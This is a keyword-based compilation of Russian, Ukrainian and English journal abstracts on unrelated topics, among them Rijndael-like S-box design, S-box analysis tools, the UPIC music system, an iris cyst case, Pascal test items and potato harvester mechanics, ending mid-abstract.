Journal articles on the topic 'S-блок'

В работе рассмотрен ряд алгебраических методов генерации криптографических S-блоков. Основным из них является метод, с помощью которого был построен S-блок для алгоритма Rijndael. В алгоритме Rijndael S-блок конструируется на основе выбора определенного неприводимого многочлена, по модулю которого определяется умножение в поле GF(2^8 ), выбора первого преобразования из ряда преобразований, приведенных в работе Ниберга, а также выбора определенной матрицы аффинного преобразования и выбора определенной сдвиговой константы. Существующие различные модификации этого метода позволяют строить новые S-блоки, варьируя наборы выбираемых компонентов, используемых в конструкции наподобие Rijndael S-блока. На основе рассмотренных методов предложен обобщенный метод проектирования Rijndael-подобных S-блоков.

Перевод выполнен по изданию: Frisius R. The Upic — Experimental Music Pedagogy — Iannis Xenakis // From Xenakis’s Upic To Graphic Notation Today / Eds. by L. Brümmer, S. Kanach, P. Weibel. Berlin: Hatje Cantz Verlag, Karlsruhe: ZKM. 2020. P. 160-184. URL: https://zkm.de/en/from-xenakiss-upic-to-graphic-notation-today UPIC (Unité Polyagogique Informatique CEMAMu) или («Компьютерный Полигогический Блок CEMAMu») — это компьютеризированный инструмент музыкальной композиции, разработанный композитором Яннисом Ксенакисом (1922–2001), физически являющийся цифровым планшетом, связанным с компьютером, имеющим векторный дисплей и осуществлявший перевод визуальности в форме рисунка в музыкальные композиции. Впоследствии им было предпринято несколько попыток воспроизведения системы UPIC с использованием программной аппаратуры Iannix, HighC, UPISketch. Ценность его как музыкального инструмента превосходит его историческое значение, поскольку UPIC является источником системы графических обозначений, которую сегодня трудно отделить от современной музыки. Настоящая публикация, представляя собой перевод научной статьи, продолжает его новаторскую историю. UPIC представлен как революционное устройство для создания акустической, музыкальной и графической композиции; как музыкальная машина, позволяющая генерировать звуки непосредственно через графические структуры. Автор статьи обращается к генезису этого уникального вычислительного инструмента и прослеживает его техническое, социальное, институциональное и образовательное значение вплоть до практики современных композиторов, которые работают с идеей UPIC в текущих компьютерных программах. В статье также прослеживается использование UPIC в настоящее время в качестве педагогического инструмента — от младших классов до мастер-классов по композиции.

Актуальність: У проєктній діяльності необхідно оперувати великим масивом числових даних із різних проєктних завдань, що обтяжує комунікацію між виконавцями. Додає складності значна кількість проєктної інформації, що може бути неправильно поданою, а тому й незрозумілою для проєктних виконавців. Це створює комунікативні бар’єри, допоки доповідач не пояснить суть процесу, зобразивши діаграму, схему чи графік. З огляду на це, графічна подача інформації про проєкт, не замінюючи текстового представлення, є доцільною і значно пришвидшує розуміння принципів його виконання. Мета: дослідити роль діаграм, графіків та схем як інструментарію представлення проєктної інформації. Методи: теоретичний аналіз наукових джерел – для з’ясування стану дослідженості цієї проблематики в України та за її межами; порівняння – з метою вивчення наукових підходів до розв’язання проблеми; синтез прогресивного досвіду – для представлення проєктної інформації у вигляді діаграм, графіків та схем. Результати: досліджено діаграму Ганта як гістограму для послідовного представлення інформації. Розкрито блок-схему, що ілюструє перебіг будь-якого процесу від загальної інформації до проєктних завдань. Висвітлено специфіку Кривої S, як для представлення базової чи фактичної кумулятивної вартості, так і порівняння цих двох показників у часі. Проаналізовано стовпчасту діаграму, що використовується для порівнянь та узагальнення груп даних. Розкрито характеристики ресурсної гістограми – для планування управління персоналом. Приділена увага діаграмі запуску, що використовується для управління якістю та відображає продуктивність представлення проєкту в часі. Особлива увага приділена діаграмі Парето, згідно з якою забезпечується аналіз існуючих проблем у проєктній діяльності та прийняття рішень щодо контролю її якості. Проаналізовано секторну діаграму, яка використовується для показу вкладу окремих елементів у загальну суму проєкту. Контрольна діаграма – для перевірки стабільності будь-якого проєктного процесу як з контрольними межами, так і без них. Висвітлено основні складові організаційної схеми, що дає змогу зрозуміти організаційну ієрархію, рівні ескалації та шлях спілкування в проєкті. Висновки: здійснений аналіз діаграм, графіків та схем як елементів проєктної комунікації засвідчив позитивний вплив графічної складової на комунікаційний процес

Приводится клинический случай редкого позднего осложнения факоэмульсификации катаракты – киста радужной оболочки. Освещены возможные методики лазерного и хирургического лечения. Актуальность. В работе нас интересует имплантационная киста, возникающая вследствие хирургической травмы, а именно хирургии катаракты. Распространенность данного осложнения варьируется в пределах 0,06-0,11% (Теобальд, 1948г.). Существует много вариантов лечения данной патологии: аспирация кисты, введение склерозирующих агентов в полость кисты, электролиз, эндодиатермия, YAG-лазерная цистотомия, блок-эксцизия с вторичной иридэктомией. Цель. Представить клинический случай возникновения кисты радужной оболочки как позднего осложнения факоэмульсификации катаракты. Осветить возможные тактики лечения и показать результаты на примере данного случая. Материал и методы. В сентябре 2019 г. в офтальмологическую клинику «EyeDoctor» г. Алматы, Республика Казахстан, обратился пациент 1954года рождения, с жалобами на снижение зрения левого глаза постепенное, безболезненное, в течение нескольких месяцев, начиная с июня 2019г. Из анамнеза: с детства отмечает миопию средней степени (-3,5D), в течение нескольких лет наблюдается с диагнозом: OU - Открытоугольная глаукома II а п/мед (гипотензивная схема: аналоги простагландинов 1 раз в сутки, фиксированная комбинация ИКА+ б-блокатор 2 раза в сутки), а также имеется неоперированный птеригиум 2 ст левого глаза. Несколько лет назад прооперирован по поводу неполной осложненной катаракты левого глаза (факоэмульсификация катаракты с имплантацией ИОЛ). При обследовании был установлен диагноз: ОS – Птеригиум стационарный, 2 ст. Артифакия. Киста радужной оболочки. С/у глаукомы II с п /мед. Учитывая данные анамнеза и объективного обследования, рекомендовано выполнить YAG-лазерную цистотомию. В ходе выполнения лазерной цистотомии было нанесено 2 импульса с мощностью1,3 мДж. Сразу же после нанесения лазерных импульсов в переднюю камеру из кисты стало поступать мутное застойное содержимое, размер кисты уменьшился вдвое. После процедуры были назначены инстилляции по схеме дексаметазона 0,1%,бромфенак 0,09% и ранее применяемые гипотезивные средства. При контрольном осмотре через 2дня отметилась положительная динамика: повысилась острота зрения, снизилось ВГД. В настоящее время пациент находится под наблюдением с диагнозом: OS – Артифакия. С/у глаукома III а п/мед. Состояние после YAG – лазерной цистотомии по поводу кисты радужной оболочки. На момент наблюдения после проведения лазерной процедуры и на максимальном гипотензивном режиме острота зрения и уровень ВГД остаются стабильными. При появлении отрицательной динамики будет рекомендовано проведение хирургического лечения с гипотензивной целью. Существует 3 вариант агипотензивной операции: НГСЭ на 3ч.; трабекулотомия ab externo на 5-7 ч.; имплантация Ex-Pressшунта на 12ч. в полость кисты. Результаты. Имплатационная эпителиальная киста является очень редким (0,06-0,11%) [2],но весьма серьезным осложнением операций на переднем отрезке глаза, в частности. В 2012 годуChaudhry M, Grover S, Sood N, Gupta R в своей работе «Epithelial iris cyst after cataract surgery» описали случай эпителиальной кисты радужки после хирургии катаракты и способ ее лечения YAG-лазером в качестве первого этапа. Второй этап - блок-эксцизия с вторичной иридэктомией. Первой работой по описанию кисты радужки после факоэмульсификации была статья Sangeeta Kuganasan, AngelaVoon Loo et all., опубликованная в 2015г в журнале«Clinical and experimental optometry», где авторы описывали случай возникновения кисты радужной оболочки через 2 месяца после факоэмульсификации катаракты. В данном случае было достаточно выполнения YAG-лазерной цистотомии, рецидивакисты авторы не наблюдали. Выводы. Эпителиальные кисты радужки после операций на переднем отрезке глаза, в частности после факоэмульсификации, достаточно трудны в лечении и при несвоевременном обращении пациента могут вызвать серьезные необратимые изменения из-за значительного снижения остроты зрения и развития вторичной глаукомы. Считается, что максимальное уменьшение контакта конъюнктивы с операционными инструментами может играть большую роль во избежание подобного осложнения.

Застосування комп’ютерних тестів для поточного та підсумкового оцінювання знань студентів дає змогу якісно і об’єктивно оцінити знання студентів за умови наявності великої та добре перевіреної бази тестових завдань. Дієвість тестування істотно залежить від вибраних автором (або авторами) типів завдань [1]:1) завдання з вибором відповіді (правильної або неправильної);2) завдання з встановленням відповідності;3) завдання з вибором кількох правильних відповідей;4) завдання з вводом відповіді (текстової або числової).Завдання перших трьох типів погано захищені від вгадування відповіді студентом, однак вони найбільш широко використовуються у практиці комп’ютерного тестування. Завдання четвертого типу добре захищені від вгадування відповіді, однак текстові відповіді доведеться перевіряти людині. Для перевірки числової відповіді система тестування повинна мати блок перевірки чисел з цілою і дробовою частиною. На факультеті електроніки Львівського національного університету імені Івана Франка створена база тестових завдань з курсів «Обчислювальна техніка і програмування» (для перевірки знань мов програмування Паскаль та Сі) та «Теорія коливань», в яких майже 90 відсотків завдань складають завдання з вводом числової відповіді. База тестових завдань з мови програмування Паскаль розбита на розділи:1. Лінійна програма (числова відповідь з цілою і дробовою частиною);2. Програма з синтаксичною помилкою (відповідь є цілим числом);3. Програма з розгалуженням (числова відповідь з цілою і дробовою частиною);4. Встановлення відповідності програма-алгоритм (тип 2);5. Програма з циклом for (числова відповідь з цілою і дробовою частиною);6. Програма з циклом while (числова відповідь з цілою і дробовою частиною);7. Програма з циклом repeat-until (числова відповідь з цілою і дробовою частиною);8. Програма з процедурою-функцією (числова відповідь з цілою і дробовою частиною);9. Програма з процедурою (числова відповідь з цілою і дробовою частиною);10. Завдання на написання програми для розв’язання певної задачі (текстова відповідь).Розглянемо приклади тестових завдань деяких розділів.1. Якого числового значення набуде змінна w після виконання цієї програми?Program test1;Varx,q,z,w:real;Beginx:=6;z:=4;w:=x*z;q:=x/z;WriteLn('w=',w);WriteLn('q=',q );end.2. В якому рядку програми є синтаксична помилка?Program test 2;Varx,y,z:real;i,n:integer;Begini:=20;x:=32;y:=34;z:=-9;n:=30*i;WriteLn( ' x=',x );end.6. Якого числового значення набуде змінна s після виконання цієї програми?Program test3;Vars,d,r:real;i:integer;Begins:=100;d:=2;r:=10;i:=0;While s>r doBegins:=s/d;i:=i+1;end;WriteLn('s=',s );WriteLn('i=',i );end.Успішне виконання студентом завдань із перших дев’яти розділів свідчить лише про вміння студента читати чужі програми. Для перевірки здатності студенти писати свої програми введено десятий розділ. Відповіддю студента є текст програми і, за потреби, текстові файли з результатами роботи програми. Очевидно, що під час виконання десятого завдання студент повинен мати можливість скористатись оболонкою для програмування мовою Паскаль (і тільки під час виконання цього завдання!). Якщо на виконання завдань із перших дев’яти розділів можна відводити по кілька хвилин (за умови невеликого обсягу наведених програм), то для написання програми потрібно відвести у кілька раз більше часу (залежить від складності поставленої задачі).База тестових завдань з «Теорії коливань» розбита на розділи:1. Обчислення постійної складової ряду Фур’є (числова відповідь з цілою і дробовою частиною);2. Обчислення косинусної гармоніки Фур’є (числова відповідь з цілою і дробовою частиною);3. Обчислення синусної гармоніки Фур’є (числова відповідь з цілою і дробовою частиною);4. Визначення стійкості стану рівноваги лінійної коливної системи (ручна перевірка – текстова відповідь);5. Вільні коливання лінійних коливних систем (числова відповідь з цілою і дробовою частиною);6. Вимушені коливання лінійних коливних систем (числова відповідь з цілою і дробовою частиною);7. Стани рівноваги нелінійних коливних систем (числова відповідь з цілою і дробовою частиною);8. Особливі точки коливних систем (тип 2);9. Вимушені коливання нелінійних коливних систем (числова відповідь з цілою і дробовою частиною);10. Визначення амплітуди коливань автогенератора (числова відповідь з цілою і дробовою частиною).Для виконання завдань з дев’ятого і десятого розділів студент повинен мати можливість скористатись оболонкою для числового інтегрування алгебро-диференційних рівнянь із простою вхідною мовою.Розглянемо шаблони тестових завдань деяких розділів.1. Для заданого сигналу ... обчислити постійну складову ряду Фур’є a0.4. Для лінійної коливної системи ... складіть характеристичне рівняння та визначить його корені (відповідь вводьте за схемою: дійсна частина, уявна частина, дійсна частина, уявна частина).5. Для початкових умов: x(0)=1, dx(0)/dt=0 знайдіть вільні коливання лінійної коливної системи, заданої диференціальним рівнянням ... та вкажіть значення x(t) в момент часу t=5.7. Для коливної системи, диференціальним рівнянням ... , вкажіть координати стійкого стану рівноваги x=..., dx/dt=...9.Користуючись програмою DS0, визначить амплітуду вимушених коливань нелінійної коливної системи, заданої диференціальним рівнянням ...Завдяки уведенню числової відповіді з цілою і дробовою частиною виключається вгадування відповіді студентом, адже множина можливих відповідей практично нескінченна.Такий підхід легко поширити на природничі і технічні науки, в яких для проведення практичних занять використовують задачі з числовими розв’язками.

В статье анализируются существующие программные инструменты, предназначенные для оценки характеристик криптографических подстановок, в частности нелинейных свойств. Установлено, что SET позволяет с наименьшими временными затратами выполнить анализ блока подстановки размерностью 4x4 бит. Однако при использовании программного инструментария SET оценка криптографических замен 8x8 бит занимает значительно больше времени по сравнению с S-Box Analyzer. В свою очередь S-Box Inspector не предназначен для работы с подстановками такой размерности, но превосходит по скорости S-Box Analyzer при оценке блоков замен 4x4 бит. Обоснована необходимость модификации кода для работы с крупными массивами подстановок, использования современных процессоров или вычислительных мощностей графических ускорителей. Подчёркивается актуальность разработки собственного программного инструмента, совместимого с многопоточными системами.

Отримано дріжджовий аналог фрагмента S-антигену коронавірусу (SARS-CoV-2), що відповідає за зв’язування із клітинним рецептором АСЕ-2. Ідентичність отриманого дріжджового аналога щодо нативного, вірусного, була визначена в непрямому ІФА і вестерн-блот-аналізі із використанням комерційної кролячої анти-SARS-CoV-2 S сироватки. Імунологічну реактивність синтезованого дріжджового аналога S-антигену аналізували в непрямому ІФА із сироватками волонтерів (n = 8), відібраними до вакцинації і на 28-му добу після першої вакцинації. Вакцинація проводилася китайською вакциною SinoVac у два етапи з проміжком в 14 діб. Результати аналізу показали, що титрантитіл на 28-му добу після першої вакцинації достовірно в 4 рази вищий, ніж до вакцинації, що підтверджує сероконверсію внаслідок застосування даної вакцини і побічно служить маркером ефективної вакцинації з утворенням віруснейтралізуючих антитіл.

The article considers the types of presentation of the poet’s personality in a unique memorial collage based on the materials from the archive of Remizov’s wife, creatively reworked by the writer. In the work, S. P. Remizova-Dovgello’s references to the name of Blok in her diary entries and in the recordings of her dreams are accompanied by extensive comments by Remizov. Remizov’s evaluation of Blok’s poem The Twelve, that is introduced into scientifi c circulation for the fi rst time, is of particular interest.

Наночастицы полупроводников представляют интерес благодаря потенциальному применению во многих областях науки и техники. Их свойства зависят от ряда факторов. Во многом они определяются условиями получения. Исходя из этого, целью данной работы было установление влияния условий синтеза на люминесцентные свойства нанокристаллов Cd(Mn)S, заключенных в полимерной матрице. В ходе работы при различных условиях получены коллоидные растворы наночастиц индивидуального и легированного ионами марганца сульфида кадмия. Радикальной термической полимеризацией в блоке из устойчивых коллоидных растворов CdS и Cd(Mn)S синтезированы оптически прозрачные полимерные композиции и зарегистрирована их фотолюминесценция. Фотолюминесценция полимерных композиций, содержащих сульфид кадмия, наблюдалась в красной области спектра. Она связана с образованием вакансионных комплексов на поверхности наночастиц CdS. Их уровни энергии расположены в запрещенной зоне CdS. Интенсивность люминесценции композиций, содержащих нанокристаллы Cd(Mn)S, полученные последовательным осаждением солей кадмия и марганца, была не высока. Это связано с образованием на поверхности кристаллов сульфида кадмия оболочки из MnS и комплексов марганца. Композиции с наночастицами Cd(Mn)S, синтезированные совместным осаждением солей, показали стабильную и яркую фотолюминесценцию в области 606 нм. Гипсохромный сдвиг максимума полосы люминесценции относительно сульфида кадмия (618 нм) вызван резонансной передачей энергии с поверхностных вакансионных уровней ионов кадмия на возбужденные уровни марганца в запрещенной зоне CdS и люминесценцией с них. В результате работы показано, что условия синтеза значительно влияют на фотолюминесцентные свойства наночастиц Сd(Mn)S и наиболее эффективным способом получения является совместное осаждение сульфидов.

Twardzisz P. Defining ‘Eastern Europe’: A Semantic Inquiry into Political Terminology. S. l. : Palgrave Macmillan, 2018. XVII, 259 p. ISBN 978-3-319-77373-5 У монографії «Визначення «Східної Европи»: семантичний розслід політичної термінології» Пйотр Твардзіш поставив собі завдання описати саме поняття Східної Европи, на чию заплутану сутність уплинули перемінні історичні, політичні й географічні обставини. Хоча ім’я Европи походить ще від давньогрецького міту, лише у другій чверті XVIII ст. завдяки шведському картографу Філіпу Йогану фон Страленберґу зформувалося сучасне географічне розуміння меж східного кордону. Тепер автор книги долучає ідеї когнітивної лінгвістики для опису цього місткого й багатогранного поняття. Пишучи про Східну Европу, дослідники із Західної Европи звертають увагу і на «східність», і на «европейськість», що породжує навіть досить розмите формулювання «Центрально-Східна Европа» для тих самих територій (розділ 1). У світовій географії домінує англосаксонський кут зору, який дозволяє вважати Прагу східноевропейським містом, що лежить на захід від західноевропейського Відня. У суспільному дискурсі відчувається змішання географічних і значеннєвих, територіяльних і сутнісних параметрів, що примножує способи межувати цю територію, додаючи инколи навіть такі критерії як релігія (православна / католицька Европа) чи культура (християнська / османська). Иншість цього регіону в очах західного читача містить більше застережливих, ніж суцільно позитивних асоціацій. Історична частина книги (розділ 2) показує, як середньовічна концепція християнського світу заклала певні передумови навіть до сучасного сприйняття. Короткі історичні нариси покликані пояснити вагомість окремих подій для модерних східноевропейських націй, наголошуючи на певному спільному досвіді. Водночас такі відомості підводять читача до з’ясування походження часто повторюваних концептуально політичних метафор ХХ ст. – «українське питання», «судетська проблема», «польський коридор», «німецька тема». Екскурс обривається на кінці 1980-х рр., що викликає певний жаль, адже період нового fin de siècle вже можна осмислити досить об’єктивно. Третій розділ книги присвячено термінологічним питання із погляду закладуваного значення, із погляду можливих асоціацій і навіть з погляду ортографії. Дослідник розглядає суму термінів, якими характеризують наш регіон, включає такі описові терміни «посткомуністична Европа» та «(колишній) радянський блок», звертається до німецьких термінів «Mitteleuropa» і «Zwischeneuropa». Цей розділ був би ще цікавішим, якби авторові вдалося ширше залучити матеріяли, написані у різних країнах нашого регіону (принаймні з географічних енциклопедій, виданих у цих країнах). У четвертому розділі проаналізовано стереотипи, якими західний европеєць сприймає східного, а саме: відсталість, культура та спадщина, комунізм та инші -ізми, антисемітизм, націоналізм, селянство, периферія, бідність, релігійність, спірні території, німецький вплив, «повернення» до Европи, стратегічне розміщення. Такий перелік стає планом дій для наших іміджмейкерів у широкому значенні, тобто політичних і культурних діячів, науковців і журналістів, щоб міняти цей репертуар. Дивно, що тепер зовсім не згадують про велику музичну культуру нашого регіону, яка в певні історичні періоди виконувала дипломатичні завдання та несла цілком позитивний посил світу. У цьому ж розділі уміщено аналіз дефініцій чотирьох термінів – «Східна Европа», «Центральна Европа», «Східно-Центральна Европа» і «Центрально-Східна Европа» – з погляду, які конкретно країни охоплюють ці терміни. Аналіз засвідчив, що Україну вдвічі частіше відносять до Східної Европи, ніж до Центральної. Корпус сучасної американської англійської мови теж використано як джерело для статистичного представлення образу Східної Европи серед носіїв цього варіянту англійської мови (розділ 5). Науковець простежив частотність синтаксичних показників і тем, що дозволяє скоригувати наше усвідомлення того, як американці сприймають нас (або пишуть про нас), але сам аналіз показав лише активність актуальних тем, які не зажди зачіпають основи нашої ідентичности. Останні два розділи книги (6 і 7) є внеском до політичної лінгвістики, де дослідник накладає свій матеріял на систему семантичних поглядів та інтерпретацій (використовуючи такі параметри опису, як мовне й позамовне значення, денотація й конотація, категоризація, синонімія, семантичні примітиви), що розширює простір для подальшого дискутування й аналізування. Різні аспекти української дійсності представлено на сторінках книги. Історія про чоловіка, який народився в Австро-Угорщині, виростав у Чехословаччині, одружився в Угорщині, працював у СРСР, на пенсію пішов ув Україні і ніколи не виїжджав із Мукачева чи Ужгорода (с 7.), яскраво свідчить про турбулентність нашої історії. Але все-таки найважливіше є те, як ми самі себе бачимо (чи – вірніше – у якому місці): нерепрезентативна вибірка все ж показала, що ми тяжіємо вважати себе «східними» або «центрально-східними» европейцями (с. 201). Пйотр Твардзіш – доктор філологічних наук (мовознавство), доцент катедри дискурсознавства інституту прикладної лінгвістики Варшавського університету. Він – випускник Люблинського католицького університету, працював у Люблинському католицькому університеті, Університеті ім. Марії Склодовської-Кюрі (Люблин), а з 2007 р. викладає у Варшавському університеті. У коло його зацікавлень входять когнітивна й корпусна лінгвістика та політичний дискурс. Його попередні монографії присвячені питанням когнітивної граматики та образної мови («Нульова деривація в англійській мові: підхід когнітивної граматики» (1997), «Моделі англійського словотвору» (2010), «Мова міждержавних зв’язків: у пошуках уособлення» (2013).

В настоящей статье мы предлагаем вариант коммуникативно-прагматического подхода к определению содержания предложений, высказываемых агентами в дискуссии. Мы намерены: 1) предложить такую трактовку процесса убеждения, в соответствии с которой он может быть признан успешным – даже если отдаётся должное фундаментальной проблеме знаковой коммуникации и признаётся, что агенты в процессе коммуникации передают друг другу только знаки, а их значения оказываются недоступными собеседнику; 2) показать, что популярные современные подходы (прагма-диалектический подход, AGM-подход, DBR-подход и др.) к процессу убеждения не предлагают такой трактовки процесса убеждения; 3) установить точные и проверяемые условия, необходимые и достаточные для признания процесса убеждения в нашей трактовке успешным. Наш подход использует современные подходы к трактовке содержания предложения (прежде всего ментальный холизм – М. Харрелл, Н. Блок и др.), а также экстраполирует современные структуралистские подходы к пониманию математических объектов в философии математики (Д. Гильберт, М. Резник, С. Шапиро) на знаковую коммуникацию в ситуации убеждающей аргументации. Мы отклоняем решение проблемы знаковой коммуникации, состоящее в том, что вполне возможен трансфер визуальных образов вне зависимости от их содержания или значения, из чего следует, что коммуникация агентов всё-таки возможна посредством передачи таких образов. Это решение, фактически, предлагает обсуждать не знаковую, а беззнаковую коммуникацию, но, во-первых, передача убеждений как лингвистически выражаемых объектов в таком случае невозможна, и, во-вторых, есть сильные аргументы в пользу того, что даже не имеющие содержания объекты различных агентов различны, что также делает трансфер невозможным. Мы определяем риторическое значение предложения, высказываемого агентом в дискуссии. Этим значением является также предложение, антецедентом которого является полное описание системы убеждений агента, а консеквентом – исходное предложение. Также мы признаём процесс убеждения риторически успешным, если по завершении этого процесса аудитория не может возразить тезису убеждающего при условии, что убеждающий придаёт своим предложениям и предложениям аудитории некоторое (хотя бы риторическое) значение. То, что риторическое значение не зависит от того, какое значение приписывают своим словам сами собеседники, позволяет показать, что, несмотря на проблему знаковой коммуникации, убеждающий может иметь риторический успех. Поскольку наш подход ориентирован исключительно на риторический успех в процессе убеждения посредством знаковой коммуникации, наша трактовка процесса убеждения имеет коммуникативно-прагматический характер. Как и подобает прагматическому подходу к процессу убеждения, наш подход не требует от убеждающего высказывать только те предложения, которые он сам понимает и считает истинными, и те аргументы, которые он сам понимает, считает корректными и приемлемыми. The paper propose a variant of a communicative-pragmatic approach to determining the meaning of proposition, expressed by agents in the discussion. We intend to: 1) to offer an interpretation of the process of persuasion, according to which it can be recognized as successful – even if it pays tribute to the fundamental problem of sign communication and admits that agents in the process of communication transmit only signs to each other, and the meanings of these are inaccessible to the interlocutor; 2) to show that popular contemporary approaches (Pragma-dialectical approach, AGM-approach, DBR-approach, etc.) to the process of persuasion do not offer this kind of interpretation the process of persuasion; 3) to establish precise and verifiable conditions which are necessary and sufficient to admit the process of persuasion in our interpretation as successful. Our approach uses contemporary approaches to the interpretation of the meaning of the proposition (first of all, the mental holism – M. Harrell, N. Blok, etc.), and also extrapolates actual structuralist approaches to the understanding of mathematical objects in the philosophy of mathematics (D. Hilbert, M. Resnik, S. Shapiro) on sign communication in a situation of persuasive argumentation. We reject the solution to the problem of sign communication, which in fact consists that it is quite possible to transfer visual images regardless of their content or meaning, which implies that the communication of agents is still possible through the transmission of such images. This solution, in fact, suggests discussing unsigned rather than signed communication, but, first, the transfer of beliefs as linguistically expressed objects is not possible in this case, and, second, there are strong arguments in favor of the fact that even the content-free objects of different agents are different, which also makes transfer impossible. We determine the rhetorical meaning of the proposition expressed by agents in the discussion. Such a meaning is also a proposition, the antecedent of which is a complete description of the agent's belief system, and the consequent is the original proposition. We also admit the persuasion process as rhetorically successful if, at the end of this process, the audience cannot object to the persuader's thesis, on the assumption that the persuader attaches some (at least rhetorical) significance to his or her suggestions and those of the audience. The fact that the rhetorical meaning does not depend on the meaning attributed to their words by the interlocutors themselves, allows us to show that, despite of the problem of sign communication the persuader can have a rhetorical success. Since our approach is focused solely on rhetorical success in the process of persuasion through sign communication, our interpretation of the process of persuasion has a communicative and pragmatic character. As befits a pragmatic approach to the persuasion process, our approach does not require the persuader to express only those proposition that he himself understands and considers to be true, and those arguments that he himself understands, considers its as correct and acceptable.

Проблема и цель. При уборке картофеля от клубней отделяется значительное количество почвы. Просеивающие сепараторы недостаточно эффективны на суглинистых почвах при повышенной или пониженной влажности, что приводит к снижению агротехнических и эксплуатационных показателей уборочной техники. Это вызывает возрастание нагрузки на органы выносной сепарации, в частности, на пальчиковые горки. Цель исследований – повышение эффективности работы по очистке вороха в картофелеуборочных машинах. Методология. Предварительно отсепарированный картофельный ворох, попадая на пальчиковую горку, должен находиться в постоянном движении, чтобы обеспечивать отделение клубней картофеля от примесей. Колебания пальчатого транспортера горки позволяют интенсифицировать процесс разделения компонентов картофельного вороха и увеличить площадь сепарации. Почвенные комки, камни и растительные примеси благодаря колебаниям застревают между пальцами транспортера, а округлые клубни картофеля приобретают дополнительную подвижность. Настройка колебаний пальчиковой горки производится исходя из условий уборки и типа почвы путем регулирования частоты вращения кулачкового блока и высоты его установки. Рассмотрено взаимодействие кулачка встряхивающего механизма с пальчатым полотном горки. Скорость колебаний полотна горки зависит от радиуса кулачка и угловой скорости. Результаты. Анализ показал, что ускорение подбрасывания полотна в значительной степени зависит от угловой скорости кулачка. Установлено, что при угле наклона пальчиковой горки 12°-35° величина ускорений для скатывания клубней по горке составляет ay = 9,59-8,0 м/с², что соответствует угловой скорости кулачка встряхивающего механизма 13,8-12,7 рад/с или частоте вращения 132,2-121,3 об/мин. Заключение. Применение кулачкового встряхивающего механизма позволяет повысить качество работы пальчиковой горки и обеспечить возможность регулировки частоты и амплитуды при изменении почвенно-климатических условий Problem and purpose. When harvesting potatoes, a signifcant amount of soil is separated from tubers. Screening separators are not efective enough on loamy soils with high or low humidity, which leads to a decrease in the agrotechnical and operational indicators of harvesting equipment This causes an increase in the load on external separation organs, in particular, on hedgehog slides. Methodology. The pre-separated potato heap, falling on the hedgehog, must be in constant motion to ensure the separation of potato tubers from impurities. Oscillations of the roller slide conveyor make it possible to intensify the process of separating the components of the potato heap and to increase the separation area. Soil lumps, stones and plant impurities get stuck between the conveyor fngers due to vibrations, and rounded potato tubers acquire additional mobility. The vibration of the hedgehog slide is adjusted based on the harvesting conditions and soil type by adjusting the rotational speed of the cam block and the height of its installation. The interaction of the pin of the shaking mechanism with the fnger-like blade of the slide is considered. The oscillation speed of the roller bed depends on the radius of the pin and the angular velocity. Results. Analysis has shown that the acceleration of the belt throw depends largely on the angular velocity of the pin. It was found that at an angle of inclination of the hedgehog slide of 12° - 35°, the magnitude of the accelerations for rolling tubers down the hill is ay = 9.59 – 8.0 m/s2, which corresponds to the angular velocity of the shaking mechanism pin 13.8 – 12.7 rad/s or a speed of 132.2 – 121.3 rpm. Conclusion. The use of a pin shaking mechanism improves the quality of the hedgehog slide and provides the ability to adjust the frequency and amplitude when soil and climatic conditions change.

В науковій літературі відсутні дані відносно досліджень особливостей показників клітинного циклу і фрагментації ДНК-клітин селезінки після термічного опіку шкіри на тлі введення інфузійних гіперосмолярних розчинів.Мета дослідження – встановити особливості показників клітинного циклу і фрагментації ДНК-клітин селезінки через 1; 3 і 7 діб після опікового ушкодження шкіри на тлі введення розчинів лактопротеїну з сорбітолом або HAES -LX -5 %.Матеріали і методи. Дослідження виконано на лабораторних білих щурах-самцях масою 155–160 г, отриманих з віварію ДУ “Інститут фармакології та токсикології АМН України”. Щурів поділили в експерименті на 6 груп: перша, друга і третя групи – щури без термічної травми, яким проводили інфузію 0,9 % розчину NaCl, лактопротеїну з сорбітолом та HAES -LX -5 % у дозі 10 мл на кг. У четвертій, п’ятій і шостій групах щурам проводили інфузію 0,9 % розчину NaCl, лактопротеїну з сорбітолом та HAES -LX -5 % у дозі 10 мл на кг після опіку шкіри. Опікове ушкодження шкіри викликали шляхом прикладання до попередньо депільованих бічних поверхонь тулуба щурів на 10 с чотирьох мідних пластинок (по дві пластини з кожного боку, кожна з площею поверхні по 13,86 см2), які попередньо упродовж 6 хв нагрівали у воді з постійною температурою 100 ºС. Гоління бокових поверхонь тулуба щурів, катетеризацію вен, постановку опіків шкіри та декапітацію тварин проводили в умовах внутрішньовенного пропофолового наркозу (із розрахунку 60 мг/кг маси тварини). Вміст ДНК в ядрах клітин селезінки щурів визначали методом проточної цитометрії на багатофункціональному науково-дослідному проточному цитометрі “Partec PAS ” фірми Partec. Для збудження флуоресценції DAP I застосовувалb УФ-випромінювання. З кожного зразка аналізу нуклеарної суспензії підлягало 20 тис. подій. Циклічний аналіз клітин виконували засобами програмного забезпечення FloMax (Partec, Німеччина) у повній цифровій відповідності згідно з математичною моделлю, де визначали: G0G1 – відсоткове співвідношення клітин фази G0G1 до всіх клітин клітинного циклу (вміст ДНК = 2c); S – відсоткове співвідношення фази синтезу ДНК до всіх клітин клітинного циклу (вміст ДНК > 2c та < 4c); G2+M – відсоткове співвідношення фази G2+M до всіх клітин клітинного циклу (ДНК=4c); IP – індекс проліферації, що визначається за сумою показників S+G2+M; ВР – блок проліферації, який оцінюють за співвідношенням S/(G2+M); SUB -G0G1 – інтервал на ДНК-гістограмах RN 1 перед піком G0G1, який вказує на ядра клітин із вмістом ДНК<2с (визначення фрагментації ДНК). Cтатистичну обробку отриманих результатів проводили у ліцензійному пакеті Statistica 6.1 із застосуванням непараметричних методів оцінки отриманих результатів.Результати досліджень та їх обговорення. При застосуванні розчину лактопротеїну з сорбітолом через 1 добу після опікового ураження шкіри спостерігаються більші середні значення показника S-фази (на 39,4 %, р<0,05), порівняно з групою після опіку з корекцією 0,9 % розчину NaCl, однак вони залишаються значно меншими (на 35,4 %, р<0,05) відносно середніх значень даного показника в групі без опікового ушкодження. Також спостерігаються більші значення індексу проліферації (на 38,6 %, р=0,076) в групі “опік + лактопротеїн з сорбітолом” порівняно з групою “опік + 0,9 % розчин NaCl”. В цей же термін спостереження при астосуванні HAES -LX -5 % на тлі опіку шкіри, порівняно з аналогічними показниками групи “опік + 0,9 % розчин NaCl”, суттєво меншими виявились показники фаз G0G1 (на 4,8 %, р<0,05) та інтервалу SUB -G0G1 (на 34,9 %, р<0,01) і більшими показники S-фази (на 41,1 %, р<0,05) та індекс проліферації (на 32,7 %, р<0,05). При порівнянні показників клітинного циклу клітин селезінки між групами “опік + лактопротеїн з сорбітолом” та “опік + HAES 